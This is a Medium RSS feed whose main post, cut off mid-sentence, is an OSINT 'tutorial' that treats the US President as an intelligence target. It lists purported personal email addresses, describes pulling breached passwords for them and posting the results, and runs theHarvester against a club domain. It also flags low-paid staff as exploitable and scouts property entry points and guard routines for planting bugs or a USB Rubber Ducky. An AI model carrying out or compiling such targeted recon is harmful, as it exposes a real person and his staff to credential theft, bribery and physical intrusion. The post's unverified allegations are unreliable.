<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Erik Liddell on Medium]]></title>
        <description><![CDATA[Stories by Erik Liddell on Medium]]></description>
        <link>https://medium.com/@liddell.erik?source=rss-a8ee747ea1eb------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/2*_Vt4bk7reYFqGuBarkvFkg.jpeg</url>
            <title>Stories by Erik Liddell on Medium</title>
            <link>https://medium.com/@liddell.erik?source=rss-a8ee747ea1eb------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 15 Nov 2026 20:41:45 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@liddell.erik/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Empathy’s Epitaph]]></title>
            <link>https://medium.com/@liddell.erik/empathys-epitaph-6ddd17e38797?source=rss-a8ee747ea1eb------2</link>
            <guid isPermaLink="false">https://medium.com/p/6ddd17e38797</guid>
            <category><![CDATA[america]]></category>
            <dc:creator><![CDATA[Erik Liddell]]></dc:creator>
            <pubDate>Fri, 05 Jun 2020 12:12:04 GMT</pubDate>
            <atom:updated>2020-06-08T10:42:40.011Z</atom:updated>
            <content:encoded><![CDATA[<p>On June 2, 2020, at approximately 13:13 EST, Empathy Sherwood was found alone and dead in their 200 sqft Brooklyn studio apartment. Empathy is survived by one child, Hope Sherwood. Although authorities cite a long history of clinical depression and a recent uptick in online bullying, targeting the late Empathy, the exact cause of death is still unknown. Medical Examiners are currently conducting an autopsy and have not ruled out foul play. Authorities have no suspects at this time and quite frankly don’t care.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2F35872DaFdYo%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3D35872DaFdYo&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2F35872DaFdYo%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/1ef73049664ae23845debedeb7e74a7f/href">https://medium.com/media/1ef73049664ae23845debedeb7e74a7f/href</a></iframe><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6ddd17e38797" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hacking Thanksgiving : Avoiding The Fight]]></title>
            <link>https://medium.com/@liddell.erik/hacking-thanksgiving-avoiding-the-fight-fd9bee25f9f0?source=rss-a8ee747ea1eb------2</link>
            <guid isPermaLink="false">https://medium.com/p/fd9bee25f9f0</guid>
            <category><![CDATA[politics]]></category>
            <category><![CDATA[family]]></category>
            <category><![CDATA[social-engineering]]></category>
            <category><![CDATA[thanksgiving]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Erik Liddell]]></dc:creator>
            <pubDate>Thu, 28 Nov 2019 16:09:56 GMT</pubDate>
            <atom:updated>2019-11-30T04:07:57.060Z</atom:updated>
            <content:encoded><![CDATA[<h3>Hacking Thanksgiving : Avoiding The Fight</h3><p><em>How to avoid arguments at the dinner table using <br>one simple Social Engineering trick.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/634/1*xaGCnUPmdzwiY4gnEuV1XQ.jpeg" /></figure><p>Here we are. It’s Thanksgiving Day! It’s time to have a wonderful meal with family and friends. We are going to drink and be merry, feasting upon all the fixings and eventually the pies!</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2Fgi8839yopoM%3Ffeature%3Doembed&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3Dgi8839yopoM&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2Fgi8839yopoM%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/c01ba5923305e8a3993da216d6e82cba/href">https://medium.com/media/c01ba5923305e8a3993da216d6e82cba/href</a></iframe><p>That is until that one friend or relative, who we of course love but don’t agree with politically, has had just enough alcohol to feel confident that now is the time they should bring up Politics.</p><p>I bet you knew this person was going to be the one to do it even before you arrived right? Yeah, it’s common and nothing to be ashamed of. Every family has that one. Or maybe you are that one. I don’t know, but here is a social engineering experiment that might help.</p><p>Arrive early enough that you can be sure to spend as much time with that person before the alcohol kicks in. It sounds counter-intuitive I am sure, but just bear with me.</p><p>Avoid talking with them about anything that might be confrontational. You can avoid talking to them altogether if you want, but at least laugh at their jokes or compliment them at least once.</p><p>Stay in this person’s line of sight as much as possible and watch them in your peripheral vision. Don’t let them know you are watching them but try to consistently mimic their body language as much as possible. This is called mirroring and can have some pretty amazing effects. Do things like assuming a similar stance as them. At the dinner table continue keeping them in your peripheral vision and when they sip their drink, sip yours in unison. Same with eating. Again, don’t make it obvious, stay nice and subtle. If you can get in sync over time they will subconsciously start mimicking you. If you think you are there you can always do a test, take a sip of your water when you know they are looking at you and see if they instinctively go for their glass as well. If so we are gold. If you can obtain that physical rapport with them before the political war breaks out, there is a good chance the following will occur. Subconsciously they will start to think of you as “just like them” and will want to avoid confrontation with you, maybe even side with you.</p><p>That’s all. Stay thirsty my friends and happy Thanksgiving!</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2F4Y5GtaTrPHM%3Ffeature%3Doembed&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3D4Y5GtaTrPHM&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2F4Y5GtaTrPHM%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="640" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/486669c067a97bfcd8e8c5b397a72e20/href">https://medium.com/media/486669c067a97bfcd8e8c5b397a72e20/href</a></iframe><h3><strong>The End</strong></h3><p>Very short one today, but I have a feast to cook…</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=fd9bee25f9f0" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Trumpty Dumpty : The Incredible Crackable Egg]]></title>
            <link>https://medium.com/@liddell.erik/trumpty-dumpty-the-incredible-crackable-egg-6792c19f94c0?source=rss-a8ee747ea1eb------2</link>
            <guid isPermaLink="false">https://medium.com/p/6792c19f94c0</guid>
            <category><![CDATA[politics]]></category>
            <category><![CDATA[osint]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[trump]]></category>
            <dc:creator><![CDATA[Erik Liddell]]></dc:creator>
            <pubDate>Mon, 25 Nov 2019 12:16:59 GMT</pubDate>
            <atom:updated>2019-11-25T14:22:41.580Z</atom:updated>
            <content:encoded><![CDATA[<h3>Trumpty Dumpty : The Incredible Crackable Egg</h3><p><em>What an exercise in open-source intelligence gathering tells us about the vulnerabilities of the President of The United States.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PTVLxhxVUosbWTOeYb9Z6A.jpeg" /><figcaption>Image provided by <a href="https://gramho.com/media/2175695502477914642">@4theloveofsloth</a></figcaption></figure><h3>Disclaimer</h3><p><em>Due to the subject matter of this article, I feel the need to stray a bit from my normal disclaimer. As with previous articles, we will, of course, be covering various techniques and tactics that could be used maliciously in the hands of the evil hackers. That said, my standard disclaimer still applies. ‘Be responsible! Don’t break the law! And certainly, don’t be a jerk!’</em></p><p><em>Now here is where things get a little stickier than usual. In this article, we are going to be exploring various techniques used in open-source information gathering. For this, we have chosen a very special target. The best target. I mean huge. Well, his hands are a little small but the rest of him, huge, believe me!</em></p><p><em>Don’t worry! We won’t be hacking The President and all politics aside, I wouldn’t recommend you try. We will, however, be creeping on him pretty hard. We will be performing these exercises with the intent of identifying where our target might be vulnerable to bad people. Very bad, the worst.</em></p><p><em>That said, I cannot stress enough, regardless of my obvious political leanings, I do not condone breaking the law or attacking, physically or otherwise, </em><strong><em>any human being</em></strong><em>, let alone</em><strong><em> The President of The United States.</em></strong></p><p><em>Furthermore, nothing we will reveal about The President in this article should be breaking news. We aren’t here to blow the Impeachment Hearings wide open. Everything we discover will be pretty much public information, but it’s not about what we uncover. It is about the journey.</em></p><p><em>That out of the way, stay thirsty my friends!</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wGxNnSPH-eOFWB202bj6Fw.jpeg" /></figure><h3>Introduction</h3><p>When we think of Intelligence Gathering, we often think of the world of espionage. We conjure up images of top-secret clandestine operations involving wire-taps, advanced satellite imagery, spy planes, covert double agents and more. We think of huge government agencies known more commonly by their acronyms than their actual names if even known at all.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/1*6YIIcllsFMZRMrPH_WyqlA.jpeg" /></figure><p>Regardless of their names or lack thereof, foreign or domestic, these agencies do exist and their pockets are very deep. With practically infinite resources at their disposal, they are capable of the damnedest things from listening in on phone calls to photographing a fly on a wall halfway around the world. Some might even allege that they ARE the fly on that wall.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/440/1*r30C7CMW1uf-oi4aq96GVA.jpeg" /><figcaption>alleged mosquito drone.</figcaption></figure><p>However, not all the information gathering done by these agencies requires an extensive budget or fancy toys. In fact, and as I’m sure you are aware, we as civilians practically give away a gold mine of information every second of every day. The same agencies mentioned above use this information just as much as they use the rest of their arsenal. They refer to this information as open-source intelligence.</p><p>Open-source intelligence, or OSINT, is the gathering of information that can be obtained without the use of any clandestine techniques. In short, it is the collection of any information publicly available via records and/or the internet.</p><p>Information obtained via an OSINT campaign can often prove to be just as valuable as intelligence gathered by more sophisticated means. Aside from the time it takes to verify and sort this information, it’s practically free, and thus has a lot of bang for the buck.</p><h3>Shall We Play a Game?</h3><p>For the remainder of this article, we are again going to pretend that we are secret operatives of The Dark Army. We have been tasked with gathering intelligence on The President of The United States of America.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/371/1*h2HAgP4VMCmNFK2ImS_DQg.jpeg" /></figure><p>We have been given no budget. All we have is our trusted laptop, an internet connection, and our due diligence. The mission is simple, identify any vulnerabilities that could be used to compromise The President and lead to further intelligence gathering or attack vectors. Below is a small sample of the type of vulnerabilities we will be looking for.</p><ol><li><strong>Personal Vulnerabilities</strong><br>This could include any personal information that could be used as leverage against the target, such as financial troubles or possible criminal activity, with the purpose of blackmail, extortion or bribery. It could also include a list of close confidants to the target and a list of their own vulnerabilities.</li><li><strong>Digital Access Vulnerabilities<br></strong>This could include any online presence such as websites, social media accounts, email servers, weak passwords, or even devices used by the target that could be used by hackers to gain access to sensitive information and further intelligence-gathering efforts.</li><li><strong>Physical Access Vulnerabilities<br></strong>This could include any vulnerability that could be used to gain unauthorized physical access to the target, such as work and home addresses that prove easily penetrable.</li></ol><h3><strong>Ok Google : Who is Donald J Trump?</strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*V-HpUfAprrsRbQbvQWksdA.png" /></figure><p>As expected a mere google search of Donald J. Trump already yields an overwhelming amount of information. It’s a lot to sort through and most of it is surely common knowledge like his multiple real-estate holdings, businesses, his date of birth, family members and associates.</p><p>Even though this sort of information seems fairly benign, we begin adding it to our dossier. Simple things like his date of birth are of course no secret but can be used later to verify the integrity of other intelligence we may gather as well as to build possible wordlists that can be used to brute force passwords. In short, any information we can gather is of interest to The Dark Army.</p><h3>A Little Birdie Told Me</h3><p>Moving a bit away from the facts for a second, we will turn our ear to some chatter. Google was kind enough to provide us quick links to our target’s various social media presences.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/249/1*pti-_ySG6zF_Rm89oSB27g.png" /></figure><p>These sites can offer a tremendous amount of raw human insight. From likes and dislikes to habits and social circles, we can asses all sorts of valuable intelligence.</p><p>If we know our target is moody or likes a lot of attention and praise, we can asses that there are potential social engineering vulnerabilities. Not to mention that the more active our target is on a given platform, the more we can continue building and refining our wordlist.</p><p>Needless to say, our target can’t get enough of Twitter. He uses it so much we could build an app that was essentially a real-time mood ring for the guy.</p><p>Wait, has anyone done that? If not, get on it, and you’re welcome.</p><p>Moving on…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/606/1*hmSGzGJ37N1esWdRWmE_ew.png" /></figure><p>Oh look, it also gives us insight as to what kind of devices you use day-to-day. You use an iPhone. Awesome, add it to the dossier!</p><h3>Too Much Information</h3><p>Putting social media aside, we continue digging on Google. It doesn’t take long to realize that not all the information is what we would call benign.</p><p>We can see multiple failed businesses and bankruptcies, sex scandals, divorces, and a long list of close associates facing indictment or already convicted of federal crimes. The list just goes on and on.</p><p>There is way too much information on this guy. If we don’t stay focused and set small achievable goals, we will certainly lose our footing and fall into the abyss. Let’s set our first goal to simply be a broad overview of who our target is. I realize there is a lot to take in and quite frankly, some of it smells of what the Russians would call ‘<a href="https://en.wikipedia.org/wiki/Kompromat">Kompromat</a>,’</p><p>I promise you we will get to all of it but for now broad strokes. When it does become time to dive deep into any one of these sweet-smelling flowers before us, our broader understanding will allow us to more efficiently distinguish what is worth our time and what is not.</p><p>Speaking of smells, there is this one foul oder in the room I do want to address, immediately. Do you smell it?</p><h3>The Pee Pee Tape</h3><p>We go back to Googling and what do you know? We found it, the infamous <a href="https://pisstape.org/tpt_720.mp4">Pee Pee Tape</a>. The existence of which has not been verified, but should it be real this kind of information would be, no pun intended, Golden!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GLhDBEj_QQT0TVtWXEAT9w.jpeg" /></figure><p>This topic is just too juicy to not take a moment and explore it at least for a little bit. So we start digging and just as we break ground, we find a site claiming to have the alleged tape:</p><blockquote><a href="https://pisstape.org/tpt_1080dn.mp4">https://pisstape.org/tpt_720.mp4</a></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BRKMq74A1tocIYeRGdu86Q.png" /></figure><p>This site’s domain name alone hints that this is not the most credible source, to say the least. That said, it’s our job as OSINT operatives to not just gather information but to verify to the best of our ability. So let’s try to do just that.</p><p>First off, the site’s IP address resolves to Buffalo NY and a quick ‘whois’ search tells us that the domain was registered out of Panama.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/677/1*oAFyZOClTyeTrQXaJ2Asow.png" /></figure><p>Looking closer at the video, there are a few intriguing things about it that lend some credibility.</p><p>For one, the man in the video has a very similar sitting style as the President. Digging through a google image search of the President sitting, we can see that he tends to sit with his knees fairly far apart while bringing his feet closer together. We can also see that his right foot tends to be a little more forward and than his left.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/762/1*Jq5kpiUAocQAR68Xr9OUFw.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yKUGOKOdCZrn2EFXQCibaw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/900/1*gPlsp-3Z91fx0mzUtQmZDg.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/738/1*UtH11wfwT2rDfnc17ftPXw.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8aJG7FhFP-4sxDYJRlyN_Q.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/325/1*Ae2JHyouz8pLC9CdnhUFcA.png" /></figure><p>The man in the video also seems to be holding a phone in his left hand and making a pointing gesture with his right. Both of these mannerisms seem to also be very typical of our target.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1vmzPyhnuO1yxr_Y8NT4oA.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wfqeeAIU1zpbTnuqJI6Opw.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zt4N-IxHf09heBjtM9cBMw.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gyyXLhHoHJ7Bq6BOLM9aVQ.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/885/1*jpvHSOpyVfRaW2SpGZBkzQ.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/259/1*KqplSB-BOZ-sgHoK7mH7XQ.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MpdKM9mA1VETreZN8BsZYQ.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/866/1*Jp4-17mnA0u9UBBXPVrt8g.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/648/1*xcONOMTb-llxhczod384Jg.png" /></figure><p>All in all, the likeness is uncanny, but we still can’t be certain one way or the other if it’s real. If this is an actor, they deserve an award, but let’s examine some other details.</p><p>Allegedly the incident took place in the Presidential Suite, room 1101, of the Ritz Carlton Hotel in Moscow. So we search the internet for photos of that room.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OuPuZuAd-GxAJe9zEwf1SA.jpeg" /></figure><p>To our surprise, the layout of the room seems to be an overall match as well. There are several similarities including the layout, the bed size, the wall panels, and even the light fixtures.</p><p>There are also a few things that are inconsistent though, such as the color of the wall panels and carpet.</p><p>The video is rather dark so it is hard to tell if the color difference is due to exposure but it seems that in the video, the wall panels and carpet have a grey or blue tint to them and both are noticeably darker then they should be according to our google image search.</p><p>We try to enhance the video a bit, but can’t quite seem to get there so we try the reverse. We take the professional photo of the actual room and start playing with the exposure.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SJ0h8x4E_Slv_4mZBWOTwA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/845/1*H08fKmaTif5kLE717sxq5w.png" /></figure><p>We managed to get fairly close but not quite.</p><p>There is certainly a lot to swallow here and we could spend all day on just this video. Unfortunately, we don’t have all day and we have only begun to scratch the surface.</p><p>The Dark Army is expecting a lot more from us, and they don’t like to be disappointed. That said, we will log this in our dossier as ‘<strong>unverified but worthy of further investigation</strong>,’ collect any EXIF metadata we can from the video and continue with our recon.</p><h3>Public Records</h3><p>Ok enough with that. We have jumped down one too many rabbit holes and it’s perhaps a good time to put Google down for a bit. Remember our goal, broad strokes.</p><p>Let’s turn to another tool I like to use, BeenVerified.com. There are a lot of sites like BeenVerified.com, that do a lot of the hard work for us. These sites sift through public records and can be a treasure trove of information. They do tend to charge a small fee, but it just so happens that I have an account with unlimited access.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*f46BRPSugtTX_K0H0CYlcw.png" /></figure><p>There is a lot of redundant information here like date of birth, relatives, businesses, and properties, but that is a good thing! This helps us verify the information we have been collecting and will continue to collect.</p><p>There is still a lot of information to cover here and this is kind of a short form venue. So, I will try to be brief and just cover the highlights. That said, it seems prudent to start with one of our President’s favorite topics.</p><h3>The Emails</h3><p>We managed to acquire more than a dozen email addresses potentially used by The President. A few were obviously associated with his work in the public sector as the domains point to his businesses.</p><p>Some, however, were defiantly more personal like <em>chaosarecute@yahoo.com</em>, <em>loving_itcm2@hotmail.com</em>, and <em>twobitter@hotmail.com</em>. All of these will have to be verified which we can do with a tool like Gophish as explained in one of my previous articles, “<a href="https://medium.com/@liddell.erik/hook-line-and-sinker-learning-to-phish-3704cf995a9a"><strong>Hook Line and Sinker : Learning to Phish.</strong></a>”</p><p>Honestly, sending phishing emails to The President is out of the scope of this engagement and I would strongly discourage anyone from doing it. For now, let’s just pretend we did and that the addresses have all been verified.</p><p>When I discover email addresses linked to a target, there are a couple of things I like to do. First I will typically take a look at the ‘username’ associated with the address and turn to a site like <a href="https://instantusername.com/">https://instantusername.com</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3SonI8pNR6u4dgfmABvC0w.png" /></figure><p>Sites like this are supposed to be used to check the availability of potential usernames on various social media sites, but we are hackers and we never use things how they were intended. Instead, we will use it to determine if other online presences are using these usernames and with any luck, we will find more info on our target.</p><p>In this case, we didn’t yield any verifiable or usable results. We did stumble on this one profile on Scribd.com matching our yahoo username that curiously enough seemed to be studying various revolutions in China, Mexico, and Russia, but not much else.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dLTH72Nlexm_8nKpFoxrTg.png" /></figure><p>The next thing I like to do is just Google the address and see what turns up. Googling the yahoo address yielded some interesting results. Apparently, there was a lot of chatter back in the day of the infamous Ashley Madison hack, that our boy, Donald, had used this email to set up a profile on Ashley Madison.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/993/1*EPsaWcmcO7-zAFrdt9r5Mw.png" /></figure><p>While this does fit what we know about our target it looks like a rabbit hole for another day. It does segue nicely into the next thing I like to do with email addresses though, check them against known data breaches.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FXnCSI-9uj9ZWXgxYkVBZA.png" /></figure><p>Sites like haveibeenpwned.com, will allow you to search your email address to see if it shows up in their breach database. That’s nice and all, but if you know where to look and have the storage space, you can download a database called <strong>BreachComplilation1</strong> which allows you to query email addresses against the same data and it will spit out any associated passwords that were compromised along with it.</p><p>Now it is important to note a few things here.</p><ol><li>These breaches are typically followed by an alert sent to all users of the platform that was hacked, informing them that their data was compromised. This means the passwords are likely no longer valid but often when people change their password, the new one typically follows a similar pattern as their old. So, while the passwords probably won’t give us access, there could still be some intrinsic value.</li><li>These breaches are generally on various social media sites and not the email accounts themselves. This means that the passwords are for the account on that site, and the user’s email is either the username for the site or merely a required field. But let’s face it, most of us use the same password everywhere.</li><li>Since our target is very high profile and has been since the ‘80s, it is likely that most if not all of these accounts aren’t really our target, but instead, someone just being silly and using Trump’s email addresses to sign up for things.</li></ol><p>Taking all of that into consideration we put every email we could even loosely associate with The President into a list and run our query script.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*n8DW_TSFZh07gtOYXUmfgw.png" /></figure><p>I know a bunch of you just lost your sh*t. You are probably thinking that I just crossed the line and any minute now a few men in suits will be showing up at my door.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/1*hOq8Z3iVylLBamJjUQvJiw.gif" /></figure><p>Let me just reiterate: I have zero confidence that any of these passwords, are or ever have been, The President’s. If by some slim chance in hell anyone of them is The President’s password, we have a bigger issue at hand than me posting them.</p><p>We were hoping to identify an observable pattern in the passwords, but the only thing all these passwords have in common is that they are super weak. They are all so weak that they could be brute-forced in minutes using a standard laptop and a copy of the world’s most common wordlist, <a href="https://www.kaggle.com/wjburns/common-password-list-rockyoutxt">rockyou.txt</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/1*BOLV5U9z7pRJw1bxdW5ejA.gif" /></figure><h3>The Financials</h3><p>We already know from our preliminary Google search that our target has declared bankruptcy half a dozen times. This is a good indication that despite The President’s constant boasting of how rich he is, he has had financial problems in the past and this sort of information can almost always be used as leverage.</p><p>Digging into public records we were able to uncover 16 UCC Filings dating as far back as the ‘80s and up to 2009. UCC Filings are essentially liens. The filings were filed in an array of states including New York, Florida, and New Jersey. These filings can drastically affect one’s business’s credit score.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/659/1*VS_Yg3805zXSUpx15bAA0A.png" /></figure><p>Surprisingly, our target somehow continued to get loans for various business ventures throughout this period. This begs the question, who was loaning this man money? Once again, google can shed some light on that.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XcW5SZNjzJthKxYGaVGxpA.png" /><figcaption><a href="https://foreignpolicy.com/2018/12/21/how-russian-money-helped-save-trumps-business/">https://foreignpolicy.com/2018/12/21/how-russian-money-helped-save-trumps-business/</a></figcaption></figure><p>There is obviously a high likely hood that someone has already beat us to the punch here and used this attack vector to compromise The President a long time ago, so let’s just add it to our dossier and move on.</p><h3>The Associates</h3><p>Between Google and BeenVerified, we have a long list of The President’s business associates and family members. Each one of these individuals is potentially another vulnerability for The President. If we could compromise any one of them, we could use them in return to get closer to and gather more intelligence about our target.</p><p>In a real engagement that is exactly what we would do. We would repeat all the same steps we have already performed on our target for each one of them. This would be exhausting and redundant for the purpose of this article. We are here to familiarize you with OSINT techniques so having already covered most of the techniques we would use on The President’s associates, let’s move on.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/280/1*D32dzHWaN8ZGTNgCttjhuw.gif" /></figure><h3>The Businesses</h3><p>Much like the family and associates of The President, his businesses can undergo a lot of the same types of recon we have already been doing. Companies are people too remember, and they have a lot of the same qualities as well. They even tend to have social media accounts.</p><p>There are a few major differences. For one, they have a lot of email addresses. Luckily we can use tools like ‘<a href="https://github.com/laramies/theHarvester"><strong>The Harvester</strong></a><strong>’</strong> to automate the process of collecting them.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/814/1*9r4Rj1KCjP0qv2YmWs2f6Q.png" /></figure><p>As you can see from the help menu, we can give the script a domain name and a source to rummage through and the script will find whatever OSINT it can.</p><p>Let’s take a look at one of Trump’s higher-profile businesses, Mar A Lago. We will start by setting Google as our source since it has been good to us so far.</p><blockquote>theHarvester -d maralagoclub.com -l 500 -b google</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/790/1*H3iN4ekUfh-6dsbGSA5Umg.png" /></figure><p>In seconds we already have 6 more emails to add to our to-do list.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/280/1*9EROMsSzDUrMiUQYCQYrUg.gif" /></figure><p>Now let’s try that search again but this time with another source available to us, LinkedIn.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/808/1*6VN5utmO_YUBL91_1n9UMg.png" /></figure><p>Now, this is interesting. We just got a list of people who apparently work at Mar A Lago, along with their positions.</p><p>We will, of course, add each of them to our to-do list as well.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/280/1*9EROMsSzDUrMiUQYCQYrUg.gif" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/280/1*9EROMsSzDUrMiUQYCQYrUg.gif" /></figure><p>Sure a lot of them don’t seem to have very high ranking positions, but maybe we can use that to our advantage. Anyone of them might be an easy target, especially if they are not paid well. They also likely have physical access to a property that everyone knows The President frequently visits.</p><p>This brings us to our next topic.</p><h3>The Properties</h3><p>Up until now, we have been mostly looking at The President’s digital footprint, and unlike his hands, it appears he has some pretty big feet. As we have realized there is a lot of information out there and much more yet to be discovered. It is now time to see if we can identify any physical vulnerabilities.</p><p>Can we get physical access to The President? Maybe not get close enough to touch him, ewe gross, but close enough to plant a listening device or a <a href="https://shop.hak5.org/products/usb-rubber-ducky-deluxe"><strong>USB Rubber Ducky.</strong></a><strong> </strong><em>(hypothetically of course)</em></p><p>Google Maps is amazing for this kind of recon. We can use it to get satellite imagery of the properties he and his associates frequent as well as use Google Street View to maybe identify access points.</p><p>We start with one of his business addresses in NY. You know the one.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*E9H39HU16nOUUlGaf9BlFw.png" /></figure><p>Immediately we find an open door. There is certainly a security presence for sure. We can quickly identify security cameras and boys in suits. None the less we will look a little closer.</p><p>Google Street view sometimes has more than just one view of a street. If the Google Street View car has driven by a location more than once, we will often find a little box in the upper left corner of the view, that allows us to view the same location at different points in time.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hwc-9PAj1FBdlI8KeKHoGw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8oxsetwok2EIfkjvkGvn5w.png" /></figure><p>Using this we can start to learn things like the habits of the guards. Do they drink Starbucks? How do they dress? Are their suits always black? Do other employees hangout at these entrances to smoke or read the paper? What happens when there is an Amazon delivery? What does the typical delivery person look like?</p><p>I think you get the point. And Trump Tower seems pretty hard to get into, so let’s move on to Mar A Lago.</p><p>As is evident by watching the News, The President spends a lot of time at his resort. Given that this resort is not in the heart of a thriving metropolis like NY, we will start with a satellite view.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gHTCIdVmeKKAKblLmILltg.png" /></figure><p>Right off the bat, we can see there are potentially a lot more entry points to this property. We have practically open waters on the west side and various road access around the rest of the resort.</p><p>There is also this strange little anomaly in the way of a white circle in the middle of that open lawn. If we zoom in on that, it gets a little stranger.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XoBsvyli3KHWqRp3ULo47w.png" /></figure><p>The circle doesn’t seem like an actual part of the landscape at all. It looks like a graphical overlay. It’s as if someone requested something be blocked out. Interestingly enough there are also a couple of mysterious vents or drains around the area.</p><blockquote>“You are saying nothing but you are telling me everything.”</blockquote><p>If this is a graphical edit, maybe Google’s Russian cousin, Yandex, has a different point of view.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cz3gGRkHjD9ME7QBGia1pg.png" /></figure><p>We can’t get as close with Yandex, but we can quickly see some differences. There is no white circle, no apparent vents, and a lot more trees. It’s hard to tell which image is more recent but judging by the quality, our best guess would be that the Google image is newer. Could there have been some top-secret renovation to the lawn recently? Maybe some missile launchers or underground tunnels? Who knows?</p><p>Returning to Google satellite images, we take a look at the 